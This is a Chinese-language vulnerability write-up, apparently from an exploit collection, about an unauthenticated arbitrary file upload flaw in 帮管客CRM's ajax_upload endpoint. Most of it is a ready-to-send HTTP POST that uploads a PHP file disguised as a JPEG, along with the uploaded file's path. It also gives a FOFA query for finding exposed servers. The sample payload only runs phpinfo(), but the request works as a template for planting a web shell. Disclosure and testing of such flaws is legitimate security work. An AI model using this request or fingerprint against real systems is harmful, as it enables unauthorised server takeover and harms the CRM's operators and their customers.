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48 lines
1.9 KiB
Markdown
48 lines
1.9 KiB
Markdown
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# 帮管客CRM ajax_upload存在任意文件上传漏洞
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# 一、漏洞简介
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帮管客CRM是一款集客户档案、销售记录、业务往来等功能于一体的客户管理系统。帮管客CRM客户管理系统，客户管理，从未如此简单，一个平台满足企业全方位的销售跟进、智能化服务管理、高效的沟通协同、图表化.帮管客CRM ajax_upload_chat、ajax_upload等接口处存在文件上传漏洞，未经授权的攻击者可利用该漏洞获取服务器权限。
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# 二、影响版本
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+ 帮管客CRM
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# 三、资产测绘
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+ fofa`app="帮管客-CRM"`
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+ 特征
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# 四、漏洞复现
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```plain
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POST /index.php/upload/ajax_upload HTTP/1.1
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Host:
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
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Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
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Accept-Encoding: gzip, deflate
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Upgrade-Insecure-Requests: 1
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Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryv1WbOn5o
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------WebKitFormBoundaryv1WbOn5o
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Content-Disposition: form-data; name="file"; filename="1.php"
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Content-Type: image/jpeg
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<?php
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phpinfo();unlink(__FILE__);
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------WebKitFormBoundaryv1WbOn5o--
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```
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上传文件位置
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```plain
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//data//uploads//202401//202401311642767GFUPHdsA.php
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```
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> 更新: 2024-02-29 23:55:41
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> 原文: <https://www.yuque.com/xiaokp7/ocvun2/gx3kacfb8q9w0bdb>
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